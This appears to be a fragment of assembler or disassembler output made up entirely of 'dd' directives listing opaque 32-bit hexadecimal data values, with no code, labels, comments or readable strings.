dd 0A8366D39h, 8FC809DEh, 24822F15h, 66040FB5h, 4EA81FC4h
dd 459D31C1h, 0E5400A1Ch, 0FA234E1Dh, 2DB9A035h, 829577A8h
dd 5FB70F5Ch, 89AFDED1h, 96565163h, 3071C860h, 0FE796F02h
dd 0FD892FD7h, 5F3B06DAh, 208D960Bh, 8896C3F8h, 6E00461Eh
dd 6D7434EEh, 40CA298h, 50C3D1A8h, 80C3B86Ch, 4103F6C8h
dd 0F99400FCh, 0CFACD916h, 5014BEEh, 0AA202C3Dh, 1F273C01h
dd 86C0B158h, 0C8B1BAC1h, 17AE8800h, 0A5AC8F69h, 9FE605F6h
dd 0FE5306CDh, 0A848D2Ah, 618281C5h, 84BE0402h, 52DBE551h
dd 0D663F988h, 0CA51508Ah, 93AC88A6h, 50382DDEh, 51616F74h
dd 0A62A5B5Fh, 3016B263h, 4609FABCh, 0FC1E870Fh, 0BE8FE4F2h
dd 0E8D2A4F7h, 0BF1A2068h, 6D9D7A38h, 44CB3243h, 0F6B7FEh
dd 23C1412Eh, 0B23EE046h, 0F7C89B25h, 0ACBE1980h, 74E2BD5h
dd 0A5136ABh, 64FE8A25h, 0EA3CBAEh, 0A78F3755h, 0AE134B6Ch
dd 0CDAF703Eh, 0B99141B8h, 97747F1Fh, 1D6598C1h, 1603D58h
dd 0D99A07B9h, 6F880F0Ch, 9561702Ch, 4DD4BCFCh, 9A80431Bh
dd 3E4C1F76h, 4B0E0613h, 3080D5FCh, 566BF5ADh, 0B1611200h
dd 6C4275C5h, 0CB213927h, 849D9680h, 0FD8D2932h, 445FDBC9h
dd 816B0044h, 0C1D2703Dh, 0A771EB4Eh, 0C24C231Fh, 41D9F541h
dd 282B5A7Ah, 6BE198BFh, 0A201557Ah, 55822F22h, 0D8757FF8h
dd 0D2C2DABBh, 0A6BF5D34h, 0FB8B8120h, 5C5BC65Bh, 1C62C0CFh
dd 1AF4BEE3h, 2D593B40h, 0DF0E0152h, 7587AD1Ah, 9A41600Ch
dd 111E6200h, 88DB2FBBh, 4FF69F7Ah, 460AEF6h, 1A21F447h
dd 49DE88Bh, 15E96193h, 0E04E3FB8h, 91B40D39h, 0D7E5DE9Fh
dd 1AFAA033h, 6CB6C124h, 5494BEE4h, 0B1973C1h, 312B9C2Ah
dd 236235F8h, 5FD59D67h, 5B774564h, 8B6C382Fh, 704B7BEBh
dd 18976AB7h, 0B7FC4A68h, 0D46B27F1h, 3501DE3Ch, 0B85F5A70h
dd 932CFAD0h, 16F4B25Fh, 45B62409h, 0E75754F0h, 20E559BFh
dd 1EA92D8Fh, 48A078A2h, 43B405Ch, 5AF8CC10h, 0EDD3F1E8h
dd 0EB77C0BEh, 3719CE9Eh, 0F49EEE61h, 244C21Ch, 0AA5BBC2Ch
dd 46B7h, 0F3C6F7EBh, 366A9772h, 83790777h, 16067777h
dd 32D10914h, 64CF95E4h, 5956D041h, 3E6C03Fh, 0AEB5E9BDh
dd 2EA5C4B9h, 0E3D671B9h, 86BB02BCh, 0FF074F40h, 0BA6878EDh
dd 1DA3F8E1h, 14E3E93Eh, 17B6D1FFh, 24B765B9h, 0FA13EB5Ah
dd 0B6E463F9h, 0C8AEA494h, 0BA0586FDh, 26A30B0h, 27838FBCh
dd 73C8A3A7h, 0F3BF5238h, 7FB342B4h, 21ACB213h, 2E336090h
dd 8904F2FDh, 0F137995h, 0DF29C961h, 0F49F74E4h, 7B9FD460h
dd 2D0881A6h, 2F2CF380h, 0DD89B6F6h, 61CD9509h, 8A35FCE0h
dd 88D0250h, 0F53BB9AAh, 4DC41BE0h, 6139CE17h, 16AC03FDh
dd 0E3FC168Ch, 0AB51D4DEh, 0BB96C21h, 0CF24FD2Bh, 2BCDA489h
dd 4A78CBFFh, 0C2A13890h, 5CDA252Eh, 95AE94F7h, 1B91E635h
dd 1780BF96h, 1628DB2Ah, 6FFF6AC4h, 7664259Fh, 29DD2DAFh
dd 1C4CDFE2h, 0A37B0A45h, 77B029E1h, 213A2F00h, 6043E0h
dd 0F2CC6942h, 0CE099B79h, 70E69226h, 817125h, 43BB71E4h
dd 4C4A37DBh, 29D7AAD2h, 5CFDEAFDh, 6BA0869h, 0CAB53189h
dd 0B9D2867Eh, 1D72BD8Dh, 0F29FEABAh, 0D1B5106Eh, 0D88BC00Ah
dd 0EE81C82Bh, 0C3791E56h, 0B3D18C75h, 67D697E6h, 0B000B1F2h
dd 7B15836Bh, 840EB6A8h, 219813DDh, 654353E7h, 38B7C920h
dd 63DC5FF8h, 174E491Ch, 2E2FB044h, 0EFBD9895h, 0F2661176h
dd 4365E7Eh, 0E7CA9DBCh, 18FE7BD7h, 48E9B666h, 2FFB08A9h
dd 0D2219F6h, 30AB0A5Fh, 4E6944F9h, 0FE67C325h, 0BD0BD020h
dd 6918D121h, 44952C69h, 9F04AA6Ch, 0CAAD9D10h, 2B8B2387h
dd 97DE71DCh, 0A794F379h, 1CE91786h, 6A2398FBh, 0B2126C9Fh
dd 0B6114A6Fh, 3018F208h, 9E028AE3h, 0D8B91C5Fh, 7931770Fh
dd 52E62FECh, 0CFFC2200h, 4B40A73Eh, 0B4D8C709h, 3F007059h
dd 37DDDD8Ah, 1F507BBDh, 0DB542DCAh, 94F99320h, 87F6BAF0h
dd 0BA8C62E0h, 31005E76h, 1AB1A55h, 801F4DB5h, 6D9FD22Bh
dd 7037C0EEh, 0C7172D6Ch, 0FB09CBDAh, 95D75033h, 605F259Eh
dd 8D0882BDh, 61170A69h, 0CBDBC8h, 3FCC0419h, 0F9568236h
dd 1C205B4Fh, 0E0AD7Dh, 5533BCDFh, 5428CBD4h, 2FA3C201h
dd 93759CDDh, 0C416242Eh, 8E581DEDh, 0AD12178Bh, 0C8C80FBh
dd 0B3B9F2h, 81F60676h, 0FC7C02E2h, 0AEFCA8EAh, 89FC5F4Fh
dd 1E8F16AAh, 140BF4BCh, 0FA185706h, 8502FEB7h, 0A0D618A3h
dd 7CDB775Bh, 72EB21BCh, 0C2618B41h, 250D3DDDh, 0F51224D4h
dd 28EEB617h, 0BE013354h, 0D0A2F472h, 0AE2B9504h, 4B2EFB28h
dd 25428A90h, 0F60BDE9Bh, 0E7820101h, 0DB99C63Dh, 2C09D4Ch
dd 0B7341FAEh, 904AF660h, 407BDFDh, 8C07D0BBh, 0B1002B34h
dd 3E5FB06Fh, 57BAB7h, 3C121FDh, 61685D3Ah, 5F6AF5Fh, 523017B2h
dd 923002EEh, 32958D89h, 10EEF257h, 0F20CF99Dh, 2E3DD5AEh
dd 0BF463D80h, 2528E3E5h, 147F503Fh, 4982FEBh, 0EAD0D9FBh
dd 10A7050Eh, 0BFAABD99h, 78AD9A8Ch, 40F40031h, 993B2CDEh
dd 60F49586h, 392EA072h, 30602C80h, 5CAD982Eh, 0DA00108Dh
dd 6C23877Bh, 4525C976h, 0C866755Fh, 0E1E69495h, 8531C582h
dd 0A946171Dh, 434BE826h, 0BDE0FA92h, 0E18027F8h, 7B800FF1h
dd 0A47A9329h, 7D0B1275h, 65A4E4BBh, 403D5795h, 381C0B01h
dd 7160DE35h, 0BF144041h, 0C7020C09h, 0A66FFF42h, 0E576A0E1h
dd 2BF1E184h, 6109B495h, 93F16E95h, 0A2EB58F8h, 0DE2F2D71h
dd 59887FF7h, 3ADF04ABh, 4B50F8A4h, 340B8Ch, 536AE2D9h
dd 0B9719414h, 259E7001h, 8A50AAAEh, 0DC2E90FDh, 0D13C776Fh
dd 6FBBDB09h, 94AD0AAAh, 5961E7F9h, 0C06EFE70h, 0C5566450h
dd 82EF803Bh, 0C16B9C68h, 23D14Eh, 613E81FAh, 80002725h
dd 432EFDB2h, 12EE1A56h, 0B05FDE8Bh, 68776352h, 9EA34E4Eh
dd 993A0F4Eh, 0B73FD3E0h, 0EC07E105h, 110B099Eh, 8A129437h
dd 0C91656CAh, 1E160BF4h, 1CBC6CA9h, 7DF0018Ch, 6D9072C2h
dd 0B2EC0FCh, 0FB99D18h, 92D1E960h, 40BF3F60h, 0FF255A12h
dd 0E1AEE675h, 47CA3F75h, 64884EA0h, 58072802h, 0EEACE6C5h
dd 259D12E4h, 0C4F0AD03h, 0B3FF33B3h, 60AA0468h, 0A812771Ah
dd 0C0EF9225h, 9335F7ECh, 0D607C602h, 4C3818A5h, 24F895A3h
dd 9520A922h, 0C77C8289h, 0D9D4BFDCh, 0E58B7D4Bh, 0F8A538D9h
dd 0D50EA292h, 36EC26CDh, 84A14B83h, 649EBF9Fh, 0A05F52C0h
dd 51C7269h, 38A6F57Eh, 21BA03Eh, 4A0E6D68h, 7E5C608Eh
dd 0A3C0404Fh
dd 3C96D125h, 0BA1C6E97h, 0FCE64055h, 619C57D3h, 92A6E095h
dd 71D425F5h, 1DC3D0EDh, 827FF242h, 55958991h, 0F49DEAD8h
dd 1570D48Bh, 53308E1h, 0FB8B90D0h, 7AB3BA50h, 6C62F93Eh
dd 6CF72399h, 67B51254h, 937BA379h, 0D47F14EEh, 0A1DAB75Ah
dd 2C388D6Eh, 0EF61D80h, 6D0059FBh, 0BBFD812Bh, 3E4D5419h
dd 51D9E3ACh, 5B852801h, 3A9D0361h, 0F74F7AECh, 301DB278h
dd 6900E82Ch, 5E36F3CAh, 416E434h, 96579FBBh, 0A26EB81Ch
dd 0D8F8F35Bh, 0A70264D5h, 0B589CF16h, 93EEFEBDh, 945EE8Dh
dd 9CB945E9h, 0CF3EC5ECh, 8D6F9361h, 1D9DE3D0h, 0D447B52Eh
dd 4E359D7Ch, 8D1CEE05h, 55E0CDB6h, 6609AF6Dh, 0DF5B79BBh
dd 1497C146h, 4B8A4585h, 1B7D310Fh, 0B93FFFB3h, 4AFC58h
dd 145A4F76h, 6A25925Dh, 0FAE78102h, 574979CFh, 565255FBh
dd 0D652C209h, 68B9ED5Fh, 8B876223h, 1740C1FCh, 6A95276h
dd 809BEA95h, 0EF62B6A6h, 0D53C8AEEh, 5369E24Dh, 0D2F42502h
dd 0CA1796E5h, 838BBB5Dh, 7436E14h, 0E7FB9CBBh, 0E1A3105Ch
dd 7026C22h, 0A8844ECh, 955BE650h, 9FAB94D7h, 3000F253h
dd 5DC78196h, 10762A38h, 0C673B5F4h, 38ACE4D8h, 4454BF28h
dd 3E6FFC15h, 0F6806D44h, 0F73543A3h, 4A05F9E0h, 63C6555h
dd 23AB6BFFh, 8F7C0F19h, 76D9B022h, 0CE95054Ch, 8EDB166Ch
dd 0D86BAA1Ah, 0C082172Eh, 0E226968Eh, 9402AB4h, 2D105Bh
dd 6C9E99E3h, 38961863h, 0D92F9F1Fh, 56FF408Eh, 0EEA064FFh
dd 0DC8A2F21h, 57C9493Ch, 7F539AF5h, 4654FCA9h, 548A03DCh
dd 5C936E4h, 0C2E164BAh, 2D123051h, 12FEF15Ah, 252BEC37h
dd 0ADA07315h, 0F4A0C70h, 290BA0E7h, 0E6448595h, 0DA40E296h
dd 9D30A108h, 2BADBED8h, 4C6015C4h, 0BD5129C8h, 0A8E93B37h
dd 46290CA9h, 0D380EA02h, 0FF5096DCh, 0F53E5A6Eh, 0F5B6566Bh
dd 26B54180h, 13F1FC87h, 0C883019Bh, 92168FB7h, 40DFAE0Fh
dd 9A679A41h, 8BF143F1h, 6167C5CCh, 0F26F2DC1h, 0CC6BD3DCh
dd 0A6F3BA01h, 3A71C02Bh, 0E13C2B28h, 0A5CD7FC2h, 2B04F2EFh
dd 3101022Dh, 2F19C19Dh, 71F6F2h, 0B9605049h, 39AAFB90h
dd 9590617Dh, 7F354A9Dh, 0AAF89EDBh, 0D2020910h, 8AD5118Bh
dd 5BA53BF9h, 181759CBh, 9AF31FEEh, 0E3CFC088h, 0B0F7039h
dd 2D859D15h, 68B8935Eh, 1EDE6287h, 66ACFA60h, 2202F2B7h
dd 0A5ED581Fh, 0A5E6DD6Dh, 5BEAB313h, 58A84EA2h, 0A17D0901h
dd 321F7C13h, 46F19E6Ah, 0A866B084h, 88634FFBh, 74002C6Ah
dd 26ABD6E5h, 17F98DBFh, 0C45F4F94h, 0FE77AB73h, 0E9740774h
dd 0B584A8E7h, 9504F147h, 0E9042EFDh, 0D4C1BF3Bh, 0EC3CE4B7h
dd 0C1851D32h, 8DDF35Fh, 56122425h, 4E79F730h, 160900D3h
dd 0E4812029h, 0E300D48Dh, 4CB1F676h, 25CD2288h, 0B6FE5BEBh
dd 0D4EE5CEBh, 8AB676BFh, 0B2935C18h, 46050DDh, 819596BCh
dd 25BD2383h, 0FD47EC3Fh, 12E2602Ah, 0E7739C67h, 6977DB0Bh
dd 0D002D32Fh, 650A7B30h, 85D66382h, 241A4004h, 0F55FD2ECh
dd 9D112E50h, 3B1AC56h, 3FF519FAh, 0A588DFF9h, 3D598589h
dd 0B7900421h, 9BEA5018h, 174CB2Bh, 11D9BDEBh, 0B5F8AA48h
dd 1DE547Eh, 86DEDAA0h, 41CCFFDCh, 2F0A49E5h, 569FA4F2h
dd 0A962AADFh, 9D2300D9h, 9C9702CDh, 37F4576h, 0BF844181h
dd 72E4DCF3h, 0C45582DDh, 0B3900B9Fh, 0C3705035h, 0D079009Bh
dd 45FED897h, 0A9A5C9D5h, 8C1DAC17h, 8EEB8702h, 0D5548CC4h
dd 0E9257CD8h, 0C4DB71B2h, 603E914Ah, 0EDAD6A8Bh, 7296BB00h
dd 0BF6147D2h, 2CAADE09h, 98537951h, 64F7B452h, 9001F6B8h
dd 0C28F33BBh, 0C1DE5048h, 0BD6BE151h, 122112BCh, 0DB9343F2h
dd 640A80C7h, 0E6FAE0A2h, 0D1A416A6h, 0B02AAC66h, 974604BFh
dd 0FD5B54BAh, 12BF8E50h, 0BC95716h, 6BCA49D0h, 0CB180155h
dd 6560693Bh, 256BB201h, 3FECF6B3h, 0A8922B45h, 8FAADDAh
dd 20C67AF3h, 2AAD2091h, 6B02DF95h, 93115B9h, 0DD1C45B1h
dd 9ACC0407h, 33110075h, 0EE73B898h, 6302D9E7h, 0AE1C6177h
dd 0E014AE03h, 0ADD52B31h, 851D3888h, 43101101h, 826CDFD0h
dd 5F79D497h, 48D8DF5Bh, 0B9EAA208h, 24756912h, 0B5C1C191h
dd 1D2F4135h, 2E5C8258h, 575E5B52h, 6B98D62Dh, 14DEC75h
dd 82A720DFh, 6B65871Dh, 1D5059EDh, 0E1166439h, 0B1714111h
dd 0ADF567F5h, 842220h, 0D3A75714h, 0AAFC0FD0h, 935B5638h
dd 0F0FC75E9h, 0FCA513D3h, 815000DEh, 0C4AB43E3h, 6A80973Ah
dd 0B31BD01h, 2F061F22h, 3FFEF88Ah, 65BD2BE0h, 0CCF29E06h
dd 234A95A8h, 344822E7h, 5F10D910h, 0B5CDD486h, 0F95332F4h
dd 282F2D0Dh, 0B519895Ch, 954531C1h, 54CF6150h, 25D125BCh
dd 0FB1360ECh, 639B239Ah, 0CF593DC0h, 0BEC5ADB5h, 0B7BF1171h
dd 307AB06Bh, 28EF84Eh, 86E3E4EFh, 0C3C1034Fh, 0F1560202h
dd 6D54AFA0h, 5B93F924h, 968ADABEh, 6B0934E6h, 6BEA800Fh
dd 174066FCh, 991D65Bh, 1074B9D8h, 1FF49154h, 81CB4D0Dh
dd 9B9929DFh, 9D132F1Eh, 0AF13D0AEh, 60785F3h, 5FFBC4DBh
dd 0DC2556E9h, 0BAF30E00h, 4CC0709Bh, 80665E69h, 51D6E2FCh
dd 6D250E90h, 83EEA23h, 2800B77Ah, 6F762ABCh, 41BF26EFh
dd 20051F1Ch, 0C02B5B09h, 0CC09D531h, 0B5A59D71h, 0CDA70B2Dh
dd 35B66D5Fh, 0B85CBD1Ch, 85A0B9Bh, 5B506621h, 440CEDBFh
dd 8F80601Ah, 0BE6B0B5Dh, 71D310FAh, 7F0EE589h, 0BFC17B95h
dd 0E5D9C18Ch, 5A8DEC30h, 0F005E220h, 25EE8060h, 307461F9h
dd 0B99B01DCh, 2201D86Ah, 91856A53h, 5E5BB2C2h, 14365168h
dd 0BBCDC8FFh, 7315AB00h, 417D69B5h, 0E2F30BB6h, 98FFF54Ch
dd 3112D657h, 15DE7633h, 0F3F76F2Eh, 3FE78100h, 0FF262B2Ch
dd 123DE148h, 3F32ACDh, 19051784h, 57DA994Eh, 0F6F77E1Ch
dd 177CBD75h, 280704FAh, 0D2FCAECCh, 0D88A929Dh, 51951F69h
dd 0EFF7E940h, 0DECC40D8h, 580B8380h, 599FA151h, 6C5F0081h
dd 375D0332h, 0A374C200h, 9AA47139h, 93B03873h, 0E82E0493h
dd 30205AC3h, 0D22C47h, 0E321CF85h, 0DD1EF6ADh, 971BF500h
dd 0C2D9B9Dh, 0D76D9560h, 0D0A030C0h, 42FF1432h, 0F52A8B1Eh
dd 310997DDh, 47C0CECDh, 9FE1809Ah, 1F3D6340h, 97FDF197h
dd 5770BA3Ah, 0D9AE6h, 89BE9809h, 0D7DFC1A5h, 0F47F1628h
dd 0E55FBD25h, 4A205030h, 0F060A625h, 8CEAB796h, 2C92BD63h
dd 5C1B6107h, 1C46D626h, 82B07C0Eh, 9E697403h, 6EF178BAh
dd 73A99800h, 52F609h, 8774429h, 0AD56BCD4h, 0E990CB08h
dd 0DBEF8110h, 0C4B3E47Fh, 9BE02FD0h, 3E646600h, 506CC4EEh
dd 0E76D9D90h, 0E44EF0C0h, 0B076B50h, 23517270h, 84A22F79h
dd 0A337EB4Ah, 0F7CC3CB1h, 0C09D207Ch, 0C13710Eh, 9300A62Bh
dd 685BD609h, 4AC8D752h, 0D48AB42Fh, 0B501DCF1h, 0FE682BBFh
dd 1646FE89h, 1EDF3209h, 12BFCCFFh, 0F4E3E9FEh, 0D6114A1Ah
dd 0B94B753Ch, 0E7EC4Ah, 0D7FA0F3Eh, 7D57BFCBh, 0FE135E2Fh
dd 0BCDFC458h, 7AFE4A0Ch, 3F3A02D1h, 437795D4h, 0D511A219h
dd 429FFA94h, 0EDB55053h, 0C92D9B6Fh, 0FF157F4Eh, 11FC6C40h
dd 675709D4h, 445FEC4Bh, 2AB725CFh, 6A465FE2h, 991D3403h
dd 39604D40h, 0A78FD82Eh, 3C007D6Eh, 968E80F3h, 67BB6604h
dd 0DB835035h, 5857F7CEh, 0D783B8B2h, 3B960141h, 8F81059Bh
dd 30A95A22h, 0F6B55106h, 0E05E5AD1h, 0D5E931D4h, 329D52h
dd 7BE09868h, 4080975Fh
dd 2ABF2367h, 0AAF659B7h, 0A2210EE8h, 8DC4BDFBh, 5B7EAB85h
dd 2721832Ch, 1DF93E59h, 3100DA18h, 0F3B093BFh, 4A50CAB4h
dd 0A42A04Dh, 7948FBBFh, 93661Ah, 759866B7h, 183841A7h
dd 51AD9589h, 7C1FF781h, 127EE071h, 25F109BDh, 0AAA09367h
dd 8814670Eh, 10CFEC77h, 3122C25h, 0AFA1EB9Dh, 0E85EE27Fh
dd 302901C6h, 0D0391007h, 54213AB5h, 8FC4A17Bh, 6A5E1274h
dd 0CE98FBC7h, 0E2FE95DDh, 60466DDAh, 0CD0D16B5h, 54E0FC01h
dd 9E85ADAh, 17CABB15h, 88B62B28h, 4AE95B8Eh, 0B2A0A742h
dd 0B403E0BBh, 0CB013D13h, 8B466A04h, 0C53AAFFAh, 6E2010F2h
dd 1D122829h, 4071F593h, 8076D58Ah, 0A72F0A2Bh, 2F41B7ACh
dd 0A16248F4h, 5C1AC24Ch, 80C4515Fh, 0B6D38157h, 9135D18Dh
dd 3B16212h, 0C2EBFE09h, 8A22028Eh, 0CF37FF9h, 0EA6CB852h
dd 8852D55h, 660984D2h, 70CC30BFh, 18739D46h, 5556FD8h
dd 0EC6D80A8h, 6DC1EEEAh, 0CBD0194Fh, 58C91263h, 2546F32Ah
dd 37A91096h, 0C2AE00CDh, 456E7F85h, 440067CAh, 3062EC25h
dd 5A4756C6h, 0FB91A48Fh, 4473FE97h, 0AEC9EB5Bh, 0C9BF209Fh
dd 4FFF5F6Bh, 0CE4B401Bh, 722E887Ch, 4A3DAD6Eh, 0B312DB8Ah
dd 5608F75Eh, 48BDB0B0h, 0AE030095h, 34B445D8h, 0DB1E814Ah
dd 3395F81Ch, 185089CCh, 25034868h, 10DD4B73h, 73BF5201h
dd 2595128Ah, 0AA41E85Fh, 5D52EE4Ah, 0B2D07E3h, 7B259FDCh
dd 0F894A038h, 38449710h, 0FF5912C9h, 0D37FAD9Ah, 0D35B52FDh
dd 6A3ADE01h, 888868DBh, 3107134Dh, 55692D8Dh, 7B95AF16h
dd 0BE052E9h, 0B119494Dh, 6046203Dh, 70E32Ah, 0C18CBEF5h
dd 936162A9h, 0DFBF8BD9h, 0E5D06F7Dh, 0F62FE18Eh, 0B79D020Bh
dd 83EA7F1Eh, 627183F3h, 2E899B30h, 9CA46F1h, 0EC5FE2F4h
dd 0BA899589h, 0C0C3CDD5h, 98615BA8h, 0BBF2A612h, 0B193BBE2h
dd 0BC397DE6h, 1B61021Ch, 3309D6A3h, 96D9B580h, 0FD954CB3h
dd 6B989B8h, 0E88A2D04h, 80E69661h, 827D9CE2h, 45206508h
dd 0F2F127FFh, 0CD8D2982h, 0E9BF5C08h, 0CEB507F0h, 1069273Ch
dd 7E5A90FEh, 7DE4D4B3h, 26001575h, 162C4B27h, 972FDF80h
dd 73458414h, 0A12889D9h, 411304Bh, 71003063h, 0C53D341Dh
dd 0B86D0AC9h, 2F0545E6h, 0A6D6EBF9h, 0BF7AA030h, 62EA2522h
dd 8E59AE09h, 83377F25h, 594DDB00h, 901F927Fh, 0FC12597h
dd 407A8A54h, 800D1D17h, 297F9E9h, 0F8FD8A99h, 0B56AB088h
dd 8F683EF4h, 55BBC947h, 0BF3B20A0h, 7C4860BDh, 0E1F82D3Fh
dd 0E417051Fh, 1FBDC0F3h, 337FB350h, 10F2895Fh, 0A14BF75Fh
dd 567F21C5h, 0EF28EE43h, 632F0089h, 983F4EEDh, 840CA024h
dd 0D037EF17h, 4A297AA9h, 26192006h, 3204E420h, 0C85E22ABh
dd 75D76580h, 4BAD984Ch, 0B661845Fh, 1DEAE077h, 0B6AF02BFh
dd 0E19D0341h, 8190C9A4h, 140484D1h, 0D9A13F81h, 4DBD31F0h
dd 0FE4B9599h, 0B200A16Fh, 0AD6ED727h, 0D39F7E93h, 0DA0D979Ch
dd 0C914888Dh, 358DBC01h, 19CA2B2Ch, 256BA47Ch, 77C6E53Dh
dd 95F98A20h, 77707194h, 405D4FBFh, 331BA6E3h, 0E3ED9D4Ah
dd 0EF026A16h, 180EE9Bh, 0E35DD7ACh, 0D3FF4903h, 8DBD3368h
dd 31BD21FFh, 7D900212h, 553BB90h, 0D3827507h, 0D7D9509Dh
dd 819B1264h, 0CE310B12h, 8E2B72E9h, 29B310D6h, 0F5B50105h
dd 62E6EB2Fh, 91EFA1F0h, 61839705h, 4DD2CF30h, 3FD1552Dh
dd 0E4EAFF8Ch, 82D400E6h, 1A0AC4BCh, 0EF253B6Ah, 0C49AC64Bh
dd 120D9940h, 0FBCD35FEh, 973D438h, 2445480Dh, 0B51E6251h
dd 0AB969D44h, 0F961A8AAh, 3549603Ah, 0AC6471B1h, 0B7A81192h
dd 0B874F94Bh, 6A028C19h, 11EB700Ch, 5570A969h, 0F9F5BCBAh
dd 148609B3h, 1A454E50h, 0AC40842Ah, 6FEED3E7h, 0E1AD0575h
dd 0B2F85084h, 0BB5FF5C0h, 4225179Bh, 570FEA63h, 0C93520BDh
dd 0D92878B8h, 6EFF5AFCh, 8B0C0BBCh, 65F305D8h, 0A2AE02D5h
dd 29984BBBh, 0CF818892h, 7B862D07h, 5509B05Dh, 4574F85h
dd 92C19ECh, 5188555Fh, 0E8F60037h, 18FE8083h, 0C2EB6B00h
dd 0B1B96020h, 0D32E2C0Dh, 43D60909h, 5C433D7Ah, 0E25AB938h
dd 9600915h, 41A25D95h, 49FD8D23h, 0F37F6150h, 11405BF0h
dd 0BDED6094h, 42AC3A56h, 0E08516h, 6672BB9Bh, 0FA971EC3h
dd 7670F7BCh, 664DD60Ch, 0C54FDA92h, 0E83D22FBh, 0AF9C6D80h
dd 84004C0Dh, 0EF014F03h, 3E290271h, 33037494h, 5BB98AB4h
dd 0B7F9CA30h, 9B880F5Fh, 0F7D901BDh, 3B29C82Bh, 8B1801E2h
dd 30957AD1h, 57E2E981h, 48C76C1Bh, 0D7B51980h, 0A4822Ch
dd 981707BDh, 169DC88Ch, 48C0654Bh, 97494755h, 485CF31Ah
dd 3D78C425h, 0DC8FAC1Ah, 89C23F7Fh, 78E069B0h, 0FAF61301h
dd 0F3806606h, 0E13A5BA0h, 97F6EFDCh, 0AA435DA4h, 0BDFF6A9Ch
dd 912538CDh, 4EC05C06h, 18F2574h, 99CE45F5h, 50602B56h
dd 9D9E5879h, 0E20A1C00h, 5BD465BDh, 681D04FDh, 0BC61C621h
dd 90A8D68Fh, 753A04D3h, 888FBD0Eh, 0E5B39D25h, 5CA7E77Bh
dd 964C926h, 7EAA49EDh, 273FE204h, 6F8290BDh, 91D423ABh
dd 0D7EF02DEh, 0A87CEEE6h, 0F9249902h, 141190h, 8536F8A4h
dd 0FBEFABh, 34551348h, 4C171B75h, 0BE10B605h, 94AE5B31h
dd 0C575B8A4h, 0A8567AB9h, 6B1088h, 0BE1E794Fh, 0A896D37h
dd 5CC52D24h, 0B182B302h, 2D3B5EA0h, 57270637h, 51F545A0h
dd 0FC2E17D4h, 0E508A356h, 0B85F0911h, 1E82A7D9h, 0EDD22BD0h
dd 0AAA3E47Dh, 0F95AE7DBh, 4FAA8C3h, 8138DBDh, 13B2A260h
dd 29EBDE1Ah, 8B6E2F13h, 9B42EA00h, 0FE8B9CB8h, 70C7E695h
dd 0EDD78A84h, 756C695Eh, 26ED6B01h, 274238Fh, 0E33F122Fh
dd 0B6B6A519h, 6D1FDDE0h, 2680A158h, 160B7A4Dh, 80FAB738h
dd 9540912Eh, 0D5F03A4Bh, 0E5CA3725h, 0ABAA1336h, 0F800447Bh
dd 0A29D7C59h, 0BD4C305Fh, 0C95550D2h, 97A90A4Eh, 20C09F94h
dd 3AA1322Ah, 34E7A303h, 0D006D25Fh, 2DE30338h, 0B5FD9597h
dd 0E1D926EBh, 2AE1FF42h, 38AC51F9h, 8A40BD96h, 0EEE2F5h
dd 0DE367380h, 9A1F944Ah, 19881C5Bh, 0F6A02FE6h, 15A7758h
dd 5B89EAECh, 90DB34D5h, 1A41258Dh, 1014AAE7h, 5D850913h
dd 0C47E7932h, 0BE9EEAC7h, 0A8C671C5h, 123020E9h, 0E660E3B7h
dd 34DFE0D9h, 3DD7B3F7h, 2E58B1CAh, 0BDDB4E16h, 667FB28Bh
dd 95CF90C7h, 14C0A4CAh, 99970E7Dh, 0AE142157h, 98BFBC13h
dd 0ED95F803h, 631C644Eh, 0E0E9C0EAh, 25D276BBh, 2BF137F2h
dd 61368F0Fh, 134FA557h, 22F956FAh, 0FC5B4ADEh, 4AF93AF7h
dd 0D8F58DBh, 912DD7F4h, 0FBBFACFAh, 697D7029h, 0BD4B89E8h
dd 0F55B2F40h, 2E7F2C68h, 11E95236h, 79602F0Ah, 0A7B28B4Bh
dd 0D35D60DFh, 0FC294E7Ch, 0CF047975h, 6C4AAFA9h, 1D337ACh
dd 0E3A3A8F8h, 1E122F3Ch, 97BFFh, 0A69FB9D6h, 6212945Fh
dd 85DC2A7h, 0F802E902h, 0E3AF8DA2h, 502DABE5h, 442279C1h
dd 59F7EF50h, 28D6A4Fh, 0C0F5E0E3h, 69385EDBh, 0F9931171h
dd 203BB88h, 0F608D9EAh, 0F35F8943h, 486F7094h, 0D4C9D70Eh
dd 0D437A94Fh, 5B510BBAh, 49004D55h, 150447D3h, 96EE21C6h
dd 59955A67h, 191BF92Ch, 0ACD49807h, 0F83A8BAh, 0BD965B52h
dd 83B0BF18h, 0BB51B537h, 1E53B1BEh, 0A26A46B3h, 0F5962CB9h
dd 299401DEh, 5BED1E46h, 13552834h, 9FAA19C8h, 770AC00Ch
dd 0DA45FEh, 680D86C1h, 72C9FEFh, 20AA575Ah, 7F564E4Ch
dd 52CCC90Bh, 2518D637h
dd 100904D2h, 4D07339Ch, 16FCC091h, 0A0FCC486h, 45259B98h
dd 8BB77F1Ch, 8F6E1D14h, 2AA480E0h, 0B82BB22Eh, 50EB24C6h
dd 1D4A6063h, 0CA27855Fh, 0E68989A7h, 9D2309DBh, 6D5530E5h
dd 4B4CCB46h, 8A1B821Dh, 61FE3980h, 2F16CCBFh, 30562DBEh
dd 5E42EAE2h, 20625A21h, 0F84E4472h, 295E3CFFh, 31D59511h
dd 619DC5DEh, 0C2B6EF02h, 4D604ABFh, 2583849h, 95A127ECh
dd 6CD77232h, 55BF12C1h, 58B2EFB9h, 8D296002h, 0BF0712D5h
dd 7DC65330h, 2EB89861h, 706E0DDDh, 45F4185h, 3281DEDEh
dd 0F6D19D33h, 1D0BCF08h, 0D59C7F03h, 376B0C69h, 5E54A75Ch
dd 0D4755F01h, 206BFCABh, 0E5628BF5h, 5AC53402h, 77CEFD12h
dd 0C5D97B84h, 0BD52FE68h, 5FEC12B9h, 5B6CF15Ch, 4AF86AFAh
dd 0B9A03D8h, 0F3DE519Fh, 23B13282h, 0E4E76D55h, 0E0F66214h
dd 0B730B183h, 94DC1DFCh, 7BDEC037h, 1E023BDBh, 6AFC4FC8h
dd 0B4905DADh, 39005E75h, 0A4905326h, 4D3738Bh, 0C9DF939Ch
dd 37C0AEF5h, 5AA72A96h, 0B0BFE725h, 49BD0B91h, 89095EF5h
dd 0F37D519Dh, 52C10555h, 83E3BADAh, 624E4600h, 74D8878Ah
dd 5564A127h, 2A80853Fh, 0F966C6C0h, 4B0313A0h, 7F8CAA38h
dd 72DE9788h, 6FA5E968h, 4D9F42CEh, 0BF5E03F5h, 0F5FA8A36h
dd 85564C4Ah, 4E215DF6h, 2FA8B16h, 0F3E3E7BFh, 5E49495Eh
